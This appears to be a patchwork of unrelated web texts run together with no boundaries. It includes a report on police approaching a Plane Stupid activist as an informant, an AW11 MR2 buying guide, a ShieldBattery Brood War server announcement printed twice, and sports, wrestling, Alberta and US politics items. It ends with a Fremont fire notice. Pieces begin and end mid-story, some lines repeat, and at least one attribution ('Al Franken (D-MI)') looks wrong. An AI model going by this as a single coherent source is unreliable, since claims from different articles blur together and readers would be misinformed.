"Recording them seemed like the obvious thing to do. I was keen to find out what they had to offer, what they wanted to find out, and feed that back to the group in case other members of Plane Stupid were approached," she said.
In the recordings, the men, who claimed to be a detective constable and his assistant, offered what they described as a "business proposal".
They allegedly suggested they would pay her money, tax-free and in cash, in return for regular information about Plane Stupid's plans, saying of the possible sums: "UK plc can afford more than twenty quid."
The men allegedly told Miss Gifford that her protest activity could hamper her chances of finding a job and warn she may end up with a criminal record.
They told her they had hundreds of informants feeding them information from protest organisations and "big groupings" from across the political spectrum.
A statement sent to the Guardian newspaper from Strathclyde Police Assistant Chief Constable George Hamilton said the force had "a responsibility to gather intelligence" and any such activity was conducted according to the Regulation of Investigatory Powers Act (Ripa).
"Officers from Strathclyde police have been in contact with a number of protesters who were involved with the Plane Stupid protests including Aberdeen airport," he said. "The purpose of this contact has been to ensure that any future protest activity is carried out within the law and in a manner which respects the rights of all concerned."
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Owning an AW11 is amazing, and it’s something that every petrolhead should experience at some point in their lives. That said, getting your hands on a good example can be complicated if you don’t know what to look for. But fear not, for we’re here to show you exactly what to look for when buying one of these appreciating classics. To start off, let’s look at the two different types of AW11 MR2. The Generations While the AW11 is the first generation of the MR2, it is actually split into two different versions: the Mk1a and the Mk1b. There are many notable differences between the two that are worth considering when buying, so let’s go over them.
Mk1a The Mk1a is the absolute first version of the AW11, made from 1985 to 1987. The most notable features are: 3 Rib 4A-GE Blue-top
Map sensor and air filter in engine bay
C50 Transmission (known for issues with 5th gear popping out)
Smaller rear anti-roll bar (no rear ARB as standard on USDM models)
Black unpainted flat front bumper
Black headlight eyebrows
Black 2-inch, one-piece rubber front lip
Front and rear mud flaps
Sometimes no spoiler
Aerial located on roof
Three-spoke triangle alloys
Earlier steering wheel (same as AE86 steering wheel)
Mk1a door cards
Two-tone colour coordinated seats
Earlier clocks
Subwoofer under drivers seat There is also a super-rare version of the Mk1a known as the W10 which was made only for the Japanese market and so is rarely found outside of Japan. It featured a 1.5-litre 3A-LU SOHC engine, had no spoiler and had drum brakes on the rear, as well as different suspension. The W10 is to the AW11 what the AE85 was to the AE86.
Mk1b The second revision of the AW11 is the Mk1b, made from 1987 to 1990, and is what I own. It features: 7 Rib 4A-GE Red-top
Air filter in boot with MAF sensor relocated to a smaller unit (differs with USDM models)
C52 Transmission (fifth gear issues fixed)
Thicker rear anti-roll bar (no rear ARB as standard on USDM models)
Body colour painted slanted front bumper
Body colour headlight eyebrows
4-inch two-piece split plastic front lip
Rear mud flaps only
Always fitted with spoiler and fibreglass sideskirts as standard
Aerial relocated to rear right wing next to spoiler
Teardrop alloys
Later leather wrapped three-spoke steering wheel (differs with USDM models)
Different Mk1b door cards
Single colour velour or leather seats
Revised clocks
No Subwoofer but rear speakers added behind headrests There are more subtle differences between the two generations, namely mechanically, making some parts non-interchangeable. You can see a complete list here. If shopping for an AW11 you’ll most likely find that most cars are Mk1bs rather than Mk1as, with good condition Mk1as also being more expensive. It’s worth noting that both the Mk1a and Mk1b were made during 1987. As a result, it’s not uncommon to find 1987 models have a weird combination of Mk1a and Mk1b features. So what should you look for when buying an AW11? Rust
A salty winter has taken its toll on my paint - also note that the crossmember from the bumper to radiator is straight, if not this could be from crash damage
As with most old cars, the biggest killer of the AW11 is rust thanks to its steel body. What makes it worse is that it can pop up in dozens of places, though some places are more prominent than others.
There will likely be rust near the rain gutter drain, a little is nothing to worry about but anything larger than a penny could be problematic.
Two of the most common places for rust to visibly get at an AW11 are the arches and sills. The arches are easy to examine, but on Mk1bs examining the sills is difficult. You can get a decent look at them by opening the doors and looking at the split between the skirts and the body itself. The skirts are fibreglass so they won’t rust, but the body is steel, so look for any signs of rust creeping out from the seals. If it makes it far enough that it’s visible by just opening the door, the car is toast. You can also get a decent look by getting underneath the car and examining from there - check absolutely everywhere, get into every little nook and cranny you can and don’t be afraid to be thorough. You may find there is some surface rust underneath which is normal, but if there are visible holes in metal then avoid the car. Rust tends to hide beneath carpets in the boot, frunk (front trunk) and in the cabin itself on the floor pan, so be sure to go digging. The Engine
The alternator is tucked away down here with the dipstick, check the alternator for any signs of advanced rust. Check the oil is a healthy colour, and check under the oil cap on the cam cover for any 'mayonnaise' - this could be due to a head gasket failure.
The 4A-GE is a superb little engine that can go for a very long time with next to no issues. As usual make sure the engine has had all of its fluids and usual belt checks done regularly. Common faults include gasket failure, which should be easy enough to spot from oil leaking out of the sides of the engine, though since the engine bay is so compact and difficult to look around, this is easier said than done. Due to the design of the engine bay cover, rain is dripped all over the alternator and battery causing issues, so look for any corrosion there. Both are easy to fix so it’s no deal-breaker, but something to be aware of. You may notice several things when you first start the car, the first of which will be the car idling at about 2000rpm. This is normal because the AW11 has an automatic choke that winds the revs down slowly as the engine warms up. You might also sometimes hear a tapping ‘typewriter’ sound coming from the head. The 4A-GE is notorious for this issue, caused by the tappets going out of adjustment over time and making noise - something my car has developed. Again, this is nothing to worry about too much as it can be fixed by replacing or reshaping the valve shims. (Whilst in the engine bay, check all around for any rust on the sides). The start-up sequence should be pretty straightforward, and should look like the following video - all lights should light up, then go off when you start. Voltage should stay high as the engine runs. If it dips over time this is a sign of a faulty alternator, though you may notice small dips in voltage when operating lights, heating and windows. Also be sure that the oil pressure goes up as it should.
Transmission The transmission in the AW11 is a C50 or C52 transaxle gearbox taken from a front-wheel drive E80 Corolla, and is an absolute peach to use thanks to its short throw and perfect position. However it can also be a common source fo problems for the MR2. The first problem is that there was a notorious issue of jumping out of fifth gear, especially in the earlier C50 transmissions. The C52 had measures to prevent this issue and so it is much less likely to happen, but is still possible. The problem is usually from the main input shaft and output shaft bearings wearing away over time. There are a few ways to fix this. One is to completely rebuild the gearbox which is of course a difficult task for the amateur mechanic. Changing the engine mounts, fork and hub can also help reduce the issue. A second problem that you may experience is that the car is in need of a new clutch. A test for this is to put the car into third gear while stationary, put one foot on the brake and slowly let the clutch out. If the clutch is healthy, the car should just stall out, however if you’re able to take the clutch all the way out then it is due a replacement. Also be sure to check the clutch master cylinder reservoir under the bonnet at the front, make sure that the fluid is a healthy colour i.e. not black or dark brown, and that it is at a suitable level. You can take a look at the brake fluid reservoir while you’re there. Electrical Systems
2 MB Make sure the headlights go up and down at a reasonable speed. They'll go up instantly, but may have a second or so delay going down.
Fortunately due to being an old car, the AW11 doesn’t have too much in the way of electrical systems - they’re generally pretty solid too - but they’re worth giving a check over anyway just in case something does crop up. Firstly, check that the headlights go up and down at a reasonable speed and don’t sound like they’re struggling at all. They should go up instantly, and go down after a second or two when you flick the switch back down. They should also go up when you pull the indicator stalk towards yourself. Motors can sometimes play up - mine decided they occasionally didn’t want to go back down in cold conditions, but they fixed themselves. Another great feature of the AW11 is the ability to lock your headlights in the ‘up’ position, should the motors break. To do this, push the headlight switch in, and then twist it to the fourth setting - this will turn the lights off but leave them up. Next on your list to check is the electric mirrors. The control should be located behind the steering wheel and should be pretty obvious. Check that both mirrors move in all directions happily. You may want to test the sound system, though be aware that they are likely speakers from the 80s and so sound terrible by today’s standards. If you have a Mk1b also be sure to check the rear speakers are working as well as fronts. While you’re checking the sound system - if it’s a Mk1b - check that the aerial goes up an down okay, these are known to break or malfunction quite a lot, so don’t be surprised if you hear that it isn’t the original aerial; this is very common and nothing to worry about. Finally, do a regular check to make sure all the lights work. This is of course a standard check to do when buying any carand this also extends to the dash clock and dash lights shown in the video above. There’s also a dimmer on later Mk1bs for the clock brightness which is worth checking if available.
Check the condition of the wheels - neglected wheels could be a sign of a neglected car. Check the tyres whilst you're down there!
Paint and Bodywork This is the area where the MR2 can really vary depending on the owner, and it’s down to your own keen eye and judgement to decide how this will reflect on the quality of the car you’re buying. Unless the previous owners have been particularly diligent, it’s not uncommon for the paint on an AW11 to be in fairly bad condition, despite the rest of the car being in good condition. My car (pictured) lived inside for much of its life and was washed regularly so it has aged quite well, but there are several signs to look for to see if the car has been resprayed or repaired. Apart from slightly mismatched paint, you can check to see if the car still has the original sealant between body panels. The obvious parts to be changed are the front and rear wings, so check the seams in the boot, engine bay and frunk to make sure the sealant looks original. If it isn’t body coloured, or looks very fresh, it’s most likely due to a replaced panel. If the owner lets you know a panel has been replaced it’s always good, but be sure to look for rippling in the metal on the shell to make sure the car hasn’t suffered damage in a crash. Also look for suspicious panel gaps. The left headlight and right side of the rear bumper are regularly slightly misaligned, so don’t worry about those too much.
Check the sealant where panels meet in the boot, engine bay, doors and frunk. It should be the same colour as the body from the factory - it'll be obvious if it has been replaced.
As well as looking for mismatched colours, look for runs in the paint and over-spray at the edge of panels over plastic trims. This is a tell-tale sign that the car has been touched up, and potentially hiding damage. So what if the respray was done well? It’s entirely possible that rusty arches and sills have been filled and resprayed to a decent quality and so are harder to detect, but not impossible. While being a steel-bodied car does leave the AW11 prone to rust, it’s also very useful in helping you detect hastily-repaired body panels.
Arches should have a mottled surface, not smooth.
How? Steel is magnetic, rust and filler are not. If you have a magnet handy, put a soft piece of cloth over it to protect the paint and run it over any places where rust may have been repaired. If the metal is good, it should strongly attract a magnet, however if you go over a patch where there’s rust or filler hiding beneath the paint, the magnet will stop sticking. Sills, arches, roof lines, beneath the bumpers and around the engine cooling vent are all good places to check. Finally, check the rear arches for any signs of repairs. The usual sign of this is a smooth texture against the back, suggesting that the arch has been replaced. A normal arch should actually have a mottled orange peel like texture. Of couse, look for a clean, unworn interior, regular servicing and a full service history. Prices If you’re in the UK, these are the following prices you should expect to pay for cars of varying quality. There seem to be four common conditions (five if you count rusted beyond recognition) in which you can buy an AW11. Owners tend to be fairly reasonable when it comes to pricing with respect to condition, though you will always find somebody that wants more than is reasonable. To keep things simple I’ll break it into three price brackets and tell you what you can expect to find in each: Bracket 1 - Low Tier Price Range: £800-1800
£800-1800 Mileage: 100,000+ miles
100,000+ miles Bodywork Condition /10: 0-5/10
0-5/10 Interior Condition /10: 0-6/10
0-6/10 Engine Condition /10: 0-8/10
0-8/10 Rust Damage: Extensive rust - often beyond repair.
Extensive rust - often beyond repair. Service History: Either little or troubled history
Either little or troubled history Generations to find: Mostly if not entirely Mk1b Summary: Best avoided unless for spares or completely rebuilding which will be costly. Bracket 2 - Medium Tier Price Range: £1800-2600
£1800-2600 Mileage: 70,000 - 100,000+ miles
70,000 - 100,000+ miles Bodywork Condition /10: 5-7/10
5-7/10 Interior Condition /10: 6-8/10
6-8/10 Engine Condition /10: 8-10/10
8-10/10 Rust Damage: Likely a few smaller rust spots, some repair possibly needed.
Likely a few smaller rust spots, some repair possibly needed. Service History: Some history or full history with a few previous problems.
About three-and-a-half years ago, I was considering these issues and I came upon a realization: the core aspect of the Brood War experience that we love and care about is the gameplay; the rest—all of those interfaces and menus and the experience of joining a server, hosting a game, or watching a replay—none of that really matters so long as we keep the same gameplay that we hold dear. Through this, I suddenly understood that we could step back from the legacy of all the previous community efforts and, instead of simply following in their footsteps, build a completely new, modernized experience suitable for this amazing game.
I'm happy to announce ShieldBattery, a brand new server that can finally give Brood War a smooth, seamless multiplayer experience replete with all the features you'd expect from any modern game. Free from the shackles of its 90s interfaces and options, we can finally see what Brood War is like if things just work, if the system is designed around how people actually want to chat and play.
This has been a long time coming, but I, along with the many others who have devoted their time and energy to the project, am excited to see the influx of players, ideas, and contributions this announcement will bring. This is not some pie-in-the-sky idea; our platform is under active development, but a large parts of it are already done and ready to use. Starting today, we're opening closed beta signups, and will be sending out invites periodically over the coming weeks while we continue developing and improving the server.
As a wise (and f33red) Korean zerg once said, "life of lively to live to life of full life thx to shield battery". We hope ShieldBattery revitalizes and restores Brood War to its former glory, and lets it thrive well into its twenties and thirties.
Features Listed below are the major features which make ShieldBattery a server unlike any other in all of the Brood War's history. Besides these major features, there are tons of minor ones, all made with an ultimate goal of making the experience of playing Brood War as seamless as possible. It's also important to note that some of these features are under active development, so even though they might not be 100% ready now, they will be soon™ enough.
Modern operating system support Since the release of Windows Vista, Brood War players have struggled with a myriad of compatibility problems that have only gotten worse with each new Windows version. Struggle no longer—ShieldBattery offers full support for all Windows versions Vista and above: no batch files, registry tweaks, or command line arguments required. Since the release of Windows Vista, Brood War players have struggled with a myriad of compatibility problems that have only gotten worse with each new Windows version. Struggle no longer—ShieldBattery offers full support for all Windows versions Vista and above: no batch files, registry tweaks, or command line arguments required.
Brand new windowed mode Brood War's forced 640x480, full screen graphics mode might have made sense in 1998, but who wants to play like that today? ShieldBattery offers a completely new graphics backend supporting both DirectX and OpenGL, borderless and bordered windows, and fast, smooth scaling to tons of different resolutions. Smart mouse sensitivity is included, too, so you can get things just right for your muta micro. Should you want to broadcast your matches to all of your adoring fans, ShieldBattery's windowed mode also works great with streaming programs out of the box. Brood War's forced 640x480, full screen graphics mode might have made sense in 1998, but who wants to play like that today? ShieldBattery offers a completely new graphics backend supporting both DirectX and OpenGL, borderless and bordered windows, and fast, smooth scaling to tons of different resolutions. Smart mouse sensitivity is included, too, so you can get things just right for your muta micro. Should you want to broadcast your matches to all of your adoring fans, ShieldBattery's windowed mode also works great with streaming programs out of the box.
Improved networking Tired of doing battle with your router before you can play with your friends online? We were too, which is why ShieldBattery includes a brand new network stack that removes the need for port forwarding completely, and brings LAN latency settings by default, no plugin needed. Support for forthcoming network technologies like IPv6 is included too, so Brood War is ready for the next decade of internet changes. Tired of doing battle with your router before you can play with your friends online? We were too, which is why ShieldBattery includes a brand new network stack that removes the need for port forwarding completely, and brings LAN latency settings by default, no plugin needed. Support for forthcoming network technologies like IPv6 is included too, so Brood War is ready for the next decade of internet changes.
Auto-matchmaking and ladder No modern multiplayer experience would be complete without a streamlined ladder system that doesn't require you to spam a chat channel to find opponents. ShieldBattery provides a fast, easy laddering experience and can automatically match you to similarly skilled opponents on a fresh, rotating map pool. Searching for matches is just a click away, and continues in the background so you can focus on more important things, like learning that awesome 10/15 build from Liquipedia. No modern multiplayer experience would be complete without a streamlined ladder system that doesn't require you to spam a chat channel to find opponents. ShieldBattery provides a fast, easy laddering experience and can automatically match you to similarly skilled opponents on a fresh, rotating map pool. Searching for matches is just a click away, and continues in the background so you can focus on more important things, like learning that awesome 10/15 build from Liquipedia.
Completely revamped multiplayer experience Chat channels? You wanted those, right? ShieldBattery has 'em, front and center. Join tons of channels simultaneously, chat with your friends and enemies, all from our simple web interface that you can connect to from anywhere. And when you're ready for a game, you can do that there, too, all without leaving chat. Chat channels? You wanted those, right? ShieldBattery has 'em, front and center. Join tons of channels simultaneously, chat with your friends and enemies, all from our simple web interface that you can connect to from anywhere. And when you're ready for a game, you can do that there, too, all without leaving chat.
Beta Signup As mentioned in the introduction, we're opening closed beta signups starting today, so feel free to request your invite in the link below. Invites to the closed beta will be sent periodically to various members of our community, to help us with testing of various features and finding bugs in general. We'll try to keep the closed beta period as short as possible, so we can open our server to everyone who wishes to play this beautiful game, hassle-free.
Sign up for beta
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Since Brood War's very early days, the community has banded together to ensure a great competitive experience. When the tools and services that came with the game fell short, new ones sprung up to replace them; with ladders and servers that gave people a place to interact and compete; with launchers and plugins that refined the experience with features like lower latency and in-game displays. But today, even these community efforts have started to become inadequate to support the aging core of Brood War. As the sheer number of support threads and posts on TeamLiquid indicates, simply starting a game of Brood War is very difficult these days. With Battle.net servers being hacked and failing, new Windows versions introducing countless new hurdles, and network conditions continually making it tougher to host and join games, how can we hope to attract new blood to the game we love, or even retain the players we do have?About three-and-a-half years ago, I was considering these issues and I came upon a realization: the core aspect of the Brood War experience that we love and care about is the gameplay; the rest—all of those interfaces and menus and the experience of joining a server, hosting a game, or watching a replay—none of that really matters so long as we keep the same gameplay that we hold dear. Through this, I suddenly understood that we could step back from the legacy of all the previous community efforts and, instead of simply following in their footsteps, build a completely new, modernized experience suitable for this amazing game.I'm happy to announce ShieldBattery, a brand new server that can finally give Brood War a smooth, seamless multiplayer experience replete with all the features you'd expect from any modern game. Free from the shackles of its 90s interfaces and options, we can finally see what Brood War is like if things just work, if the system is designed around how people actually want to chat and play.This has been a long time coming, but I, along with the many others who have devoted their time and energy to the project, am excited to see the influx of players, ideas, and contributions this announcement will bring. This is not some pie-in-the-sky idea; our platform is under active development, but a large parts of it are already done and ready to use. Starting today, we're opening closed beta signups, and will be sending out invites periodically over the coming weeks while we continue developing and improving the server.As a wise (and f33red) Korean zerg once said, "life of lively to live to life of full life thx to shield battery". We hope ShieldBattery revitalizes and restores Brood War to its former glory, and lets it thrive well into its twenties and thirties.Listed below are the major features which make ShieldBattery a server unlike any other in all of the Brood War's history. Besides these major features, there are tons of minor ones, all made with an ultimate goal of making the experience of playing Brood War as seamless as possible. It's also important to note that some of these features are under active development, so even though they might not be 100% ready now, they will be soon™ enough.As mentioned in the introduction, we're opening closed beta signups starting today, so feel free to request your invite in the link below. Invites to the closed beta will be sent periodically to various members of our community, to help us with testing of various features and finding bugs in general. We'll try to keep the closed beta period as short as possible, so we can open our server to everyone who wishes to play this beautiful game, hassle-free.
Losing the team’s entire coaching staff to Nebraska within the past 10 days was emotional enough for some players. Now, the undefeated Knights (12-0) need to overpower one of the best defenses in college football in Auburn (10-3) without Aaron Evans, the team’s long-time starting left tackle.
The teams will face off during the Chick-fil-A Peach Bowl on New Year’s Day.
“It’s huge. I’m not gonna lie,” Akins said. “He’s our best offensive lineman and I had my hand in the dirt beside him all year and I’m really comfortable with him making play calls and in all we were just on one accord. But next man up. We’re looking forward to Jake [Brown] in that spot and we’re gonna go forward from there.”
Evans, a senior who started the past 37 games at left tackle, had surgery Wednesday afternoon to address a nagging injury dating back to last season. Brown will shift from left guard to left tackle and Sam Jackson and Tyler Hudanick will likely share rotations at left guard.
The loss of Evans is a major blow to UCF, which finished the regular season as the No. 1 scoring offense in the nation. But the Knights have become quite adept at pushing past physical and mental hurdles.
The past 10 days have been an emotional roller coaster largely for younger players, who were new to the experience of enduring a coaching transition. Some were shocked when coach Scott Frost took the Nebraska job and took his entire coaching staff with him. But veteran offensive and defensive players stepped up during the past few weeks to keep emotions and perspectives in check during private player-only team meetings and casual conversations.
“Emotions have been all over the place. Some kids have been worried about what they should do and how things are gonna play out and you could even tell Coach Frost was emotional,” Akins said. “[There have been] tears of joy [and] tears of sadness with him leaving and it’s all over the place. But when it comes to business we all pull together and focus on the main goal which is to get a win. We’re trying to win out, not only for ourselves but for the coaches as well.”
Freshman receiver Otis Anderson Jr. admitted he experienced some hurt feelings over the coaching transition, but his understanding about the realities of college football grew during the past few days.
Hitting the football field and getting their American Athletic Conference championship rings sized Tuesday certainly helped move the players' recovery process along.
“[It] feels like we got new bodies, honestly,” Anderson said of the recent break. “We’ve been having 12 weeks straight of practicing so finally getting a week off and being able to come back and just work feels great. We’re knocking the rust off now and I feel like we’re playing a lot faster than what we have been playing.”
Keeping the close-knit family environment has been the focus for UCF players during the break. It’s the trust and relationships built among this group that has helped the program to make history with the school’s first perfect regular season.
And senior linebacker Shaquem Griffin believes the unique chemistry and close bond of this 2017 team is its best weapon to date.
“It’s gonna take us being together every step of the way. Ups and downs, we’re gonna have to be able to stick it out. Auburn is an amazing team but we’re an amazing team also,” Griffin said. “It’s gonna come down to who can fight through adversity.”
CAPTION UCF head coach Josh Heupel on 2019 National Signing Day UCF head coach Josh Heupel on 2019 National Signing Day CAPTION UCF head coach Josh Heupel on 2019 National Signing Day UCF head coach Josh Heupel on 2019 National Signing Day CAPTION New UCF quarterback Brandon Wimbush will have an opportunity to compete for the starting job when the Knights take the field for spring practice in March. New UCF quarterback Brandon Wimbush will have an opportunity to compete for the starting job when the Knights take the field for spring practice in March. CAPTION Following a Fiesta Bowl loss to LSU, UCF coach Josh Heupel and players Titus Davis and Michael Colubiale reflect on the 2018 season. Following a Fiesta Bowl loss to LSU, UCF coach Josh Heupel and players Titus Davis and Michael Colubiale reflect on the 2018 season. CAPTION Head coach Josh Heupel talks to the media as the University of Central Florida football team returns to campus in Orlando, Wednesday, January 2, 2019, after their Fiesta Bowl appearance on New Year's Day. (Joe Burbank/Orlando Sentinel) Head coach Josh Heupel talks to the media as the University of Central Florida football team returns to campus in Orlando, Wednesday, January 2, 2019, after their Fiesta Bowl appearance on New Year's Day. (Joe Burbank/Orlando Sentinel) CAPTION Josh Heupel recaps Fiesta Bowl Josh Heupel recaps Fiesta Bowl
I feel bad. So many teams have gotten free wins from us this season but they truly haven't been our fault. There's so much you - Damon B (@OpTic_DKarma) June 29, 2016
Complaining on social media, however, is a violation of the Call of Duty World League's policy. So it came as no surprise on July 1 when both Karma and Crimsix announced they would be fined by the CWL and suspended for the next game. However, the CWL has yet to make a formal announcement in regards to the suspensions. Editor's Picks Gaming personalities embroiled in Counter-Strike gambling scandal YouTube personalities openly promoted a gambling website without being forthcoming about their ties to it. How does this change the $7.4 billion CS:GO gambling industry?
Sources: Araneae to join Origen as head coach Araneae will be the team's fifth coach in the past year, joining a list that includes Hermit, Titus "LeDuck" Hafner, Nicolai "Hazel" Larsen and NicoThePico.
Smash 4's SuperGirlKels: 'I had a goal to be one of the best Sonics' Kelsy "SuperGirlKels" Medeiros recently won fifth in Smash for Wii U at APEX 2016 after beating Jason "Mew2King" Zimmerman. She talks about Sonic, her gamer roots, and being an inspiration. 2 Related
At the time of the announcement, OpTic Gaming was set to face off against Dream Team, which has struggled and sits in eighth place. With no substitutes available, OpTic Gaming was unable to replace either suspended player, leaving Dream Team to claim a 3-0 forfeit victory.
On July 2, a separate announcement made on Reddit by a representative of Activision, the creator of Call of Duty, the CWL has opted to reschedule Week 12 to "enhance the competitive spirit of what will be the most important day of competition before Stage 2 playoffs."
This means that matchups and schedules will be switched up just before playoffs this week.
While the schedule change had reportedly been in the works for weeks, the timing of the announcement couldn't have been any worse. On the surface, the decision to alter the schedule makes sense. With a climactic battle for the final spot in the playoffs hanging in the air, and with matches that could drastically alter the final seeding, the move to put the best games on "prime time" is a brilliant way to ensure quality competition from both teams. After all, the CWL reserves the right to flex any game to the "main event" and has done so throughout the season.
However, a schedule change like this can happen only if each team's situation stays the same from one game to the next, something that would not be the case for OpTic Gaming and its prospective opponents in Week 12. This is how a move to "enhance the competitive spirit" suddenly becomes a move that determines who makes the playoffs, something only the players should have the ability to control.
On top of that, this decision has implications beyond playoff positioning. CWL Stage 1 and 2 awards each team championship points based on their seeding within the stage playoffs. Those points in turn decide which teams will directly qualify for the 2016 Call of Duty World League Championship in September. For a player like Dream Team's Adam "Killa" Sloss, the ramifications of the scheduling change have forced him to question whether he intends to continue his Call of Duty career.
sorry about that guys tired of being treated unfairly and hopefully something gets done. if not i see my journey ending here - Adam Sloss (@dT_KiLLa93) July 2, 2016
UPDATE: AfterBuzz CEO Keven Undergaro provided the following update:
Everyone askin about r @TheTomorrowShow cohost & most imp r friend @TheRealXPac. We spoke. He'a dealing w-issues but IS ok. He'll speak soon pic.twitter.com/USoqapKFyJ — keven undergaro (@undergaro) April 30, 2017
ORIGINAL: Sean Waltman is missing and no one has heard from him, according to a statement on the IPW: UK Facebook account. On Sunday, he was supposed to team with Scott Star and Chakara against Sammy Smooth, Adam ‘Flex’ Maxted and Livvi Grace in a six-person tag team match. This was supposed to be Waltman’s final match in the United Kingdom. The idea behind the six-person match was to protect him because his body is pretty banged up.
It was just last month when Waltman posted this photo of himself where he looked like he was in the best shape of his life. He also said that he was in a good place mentally.
IPW: UK issued the following statement on their Facebook page:
X-PAC SITUATION
:: With regret, unless a miracle occurs, X-Pac will no longer be appearing at the Extreme Measures 2017 event later today.
He was scheduled to land in the UK on Saturday at 2pm, but 12 hours later and nobody has heard from him. We wish Sean well and hope he is safe. Sometimes you do everything you can but it’s completely out of our hands.
:: We spent Saturday attempting to check if flights were possible for an international name to replace him, but at such short notice the options were next to none. As a result, we have been searching up and down the UK for available replacements and as you will see on the day tomorrow, we think we’ve found the best option at short notice.
:: All other advertised wrestlers are in the country and ready for the show.
:: Jimmy Havoc will be joining the Meet & Greet to replace X-Pac.
:: Anybody who had an Interval photo package, The London Riots will replace X-Pac in the photo package. You’re also immediately given a £10 reduction on package you’ve purchased, or if you wish you may obtain a full refund. Just let us know at the event.
:: Furthermore, if you’ve placed an order for the X-Pac IPW:UK tee, you may either keep your purchase of the tee as some kind of collectors item, or have a complete refund.
Any further questions can be directed to us by private message, we will endeavor to reply to all messages before door time.
Waltman’s last tweet was 24 hours ago and he seemed to be in good spirits. We hope everything is ok with him.
One Eye, No Teeth, Broken Jaw, & still Beautiful. pic.twitter.com/ETbq1bC9md — Sean Waltman (@TheRealXPac) April 29, 2017
I suppose one of those could be an astute political prediction, depending on the outcome of the U.S. presidential election.
Making predictions is always a mug’s game.
And considering the upheaval that hit Alberta politics in 2015, only a fool would try to predict what’s going to happen here in 2016.
So, let me try.
This will be a year when our new government will really make its mark on Alberta politics. Think 2015 was the Year of the NDP? That was just a warmup.
This year will see the government mull over changes to energy royalties, begin implementing its climate change strategy and roll out a provincial budget that is not, like the one last October, simply a modification of the old Progressive Conservative budget.
The price of oil might be in the basement but the NDP government is busy in the kitchen cooking on all burners. Nothing is being left to simmer except perhaps a few of the smaller election promises such as a school lunch program.
Premier Rachel Notley said in year-end interviews she’s not changing course.
“There was a lot of discussion in the last election about how we deal with the economic challenges we face, and there were two paths for it,” said Notley. “And we laid out our path and we’re sticking to that path and that’s what Albertans chose.”
Having said that, Notley realizes it will be a bumpy path, one littered with record deficits, record borrowing and record spending.
It is a route filled with so many fiscal potholes that Notley is dropping hints that even if she’s not changing course, she’ll be moving forward more carefully in 2016.
Take, for example, possible revisions to the royalty rate regime. We’ll see the government’s plans in the next week or two and Notley is already suggesting nothing will change while the price of oil remains in the doldrums.
“The plan will very much reflect the current situation,” Notley told the CBC. “The recommendations that come from the review, and our plan with respect to the review, is not going to present any additional challenges to the industry, which is already challenged in the current price situation.”
An obvious prediction: the depressed price of oil will remain the biggest threat to the government and the economy.
And another: the opposition parties will take a perverse delight in continuing to blame the NDP for every job loss, every bankruptcy, every economic sniffle and sneeze.
Not that the opposition parties don’t have their own problems.
If 2015 was a terrible year for the Progressive Conservatives, 2016 might be even worse. The Wildrose – along with some influential PC members – would like to see a political merger of the two parties. And, considering how the Wildrose has more MLAs, more money and more momentum than the PCs, that “merger” would likely turn into a takeover.
It would be a great coup for Wildrose leader Brian Jean – as long as he isn’t, say, a victim of a leadership coup by, say, a Calgary-based federal Conservative MP by the name of, say, Jason Kenney who realizes becoming premier of Alberta is much more likely than ever becoming prime minister of Canada.
I’m not saying that’s going to happen in 2016. We may have to wait for that to happen in 2017.
Of course, it might never happen. But it’s something people are whispering about as they try to figure out what will happen in 2016.
Thanks to what happened last year in Alberta politics, this year promises to be fascinating … and unpredictable.
Issa plans to hold hundreds of hearings, create new subcommittees, and launch investigations into the bank bailout, the stimulus, and health care reform, according to Politico.
“I want seven hearings a week, times 40 weeks,” Issa said.
On Monday, Issa apologized for calling President Barack Obama “one of the most corrupt presidents in modern times” on Rush Limbaugh’s radio show.
“Do I think the president is personally corrupt, no, I should never have implied that or created that in a quick statement on a radio call-in,” he told CNN’s Wolf Blitzer.
Despite lambasting the president on the radio, Issa says he will not use the Oversight Committee to wage partisan attacks against Obama and other Democrats.
“My job is not to bring down the president,” said Issa. “My job is to make the president a success… I’m going to stick to my knitting, which is waste, fraud and abuse, whenever possible.”
In October, Al Franken (D-MI) warned that Issa would use his subpoena power to conduct a “witch hunt in an effort to bring down the Obama administration.”
“Democrats on this committee will strongly reject any effort to use the committee as a partisan political vehicle against the administration,” said outgoing Chairman Edolphus Towns (D-NY). “It is my hope to work with the incoming chairman on issues important to the American people, instead of focusing on a divisive partisan political agenda.”
Issa’s says one of his main goals as the chairman of the Oversight Committee is to reduce the size of government.
“Bureaucracy is inherent in government and with the government playing a much larger role in people’s lives today than at any other time in our history, the best way to address this is to reduce the size and scope of government rather than enhance it,” he told CNBC on Tuesday. “The midterm elections told us that the American people want less government, not more.”
Along with launching investigations into Homeland Security, Fannie Mae and Freddie Mac, health care reform, and stimulus spending, Issa has expressed the need to investigate the “politicization of science.”
“In November 2009, in a scandal popularly referred to as ‘Climategate,’ a large volume of email messages and documents from the Climatic Research Unit of the University of East Anglia were disclosed, raising serious questions about the research that led to the findings released by the United Nation’s Intergovernmental Panel on Climate Change (IPCC),” Issa writes in a dossier released in September.
Issa has promised to investigate “Climategate,” despite the fact that a Penn State investigative panel “determined that there is no substance” to the allegations and that the climate scientists “did not engage in, nor did he participate in, directly or indirectly, any actions that seriously deviated from accepted practices within the academic community for proposing, conducting, or reporting research, or other scholarly activities.”
Cashner struck out well under 5 per 9. Lynn was over 7. We are done there right?
Lynn posted a career worst BB rate in his first year following TJ – sounds about right to me, it should come down. Cashner posted a BB rate north of 4 the previous season, I think his command problems are more severe. Lynn also posted a career low K rate in his first season back from TJ – not sure that will improve, but it could. If you are comparing the two, then you may as well just say that you are biased. I get it. We all have our biases. You are a big advanced metrics guy and advanced metrics hate Lynn – you don’t even have to defend your position, but you are selling him short. He may pitch zero innings ever again and you still sold him short. He follows Robert Stephenson in the rankings and you just made a case for him being Andrew Cashner. You don’t need to stomp on guys you don’t like. You can just promote the ones that you do, its what you are best at.
Since mid-July 2016, Fremont Fire and Police have responded to 15 small fires in the Warm Springs District between Hackamore Lane and Mayten Way. The majority of the fires have been limited to garbage, small bushes, dumpsters and trees. Almost all of the fires have been set on weekends from Saturday evening into Sunday morning and Sunday evening into Monday morning. Ten of the fires have been set between the hours of 12:00 a.m. - 5:00 a.m.
Fremont Police and Fremont Fire are working jointly in an effort to identify the suspect and/or suspects responsible for these incidents of vandalism. At this time, we have no suspect information.
The Fremont Police Department has increased patrol checks in the area and both public safety agencies have dedicated extra resources, including Police Detectives and Fire Arson Investigators, to investigate these cases. The public is asked to please dial 9-1-1 immediately if you see suspicious person(s) or suspicious activity in the area.
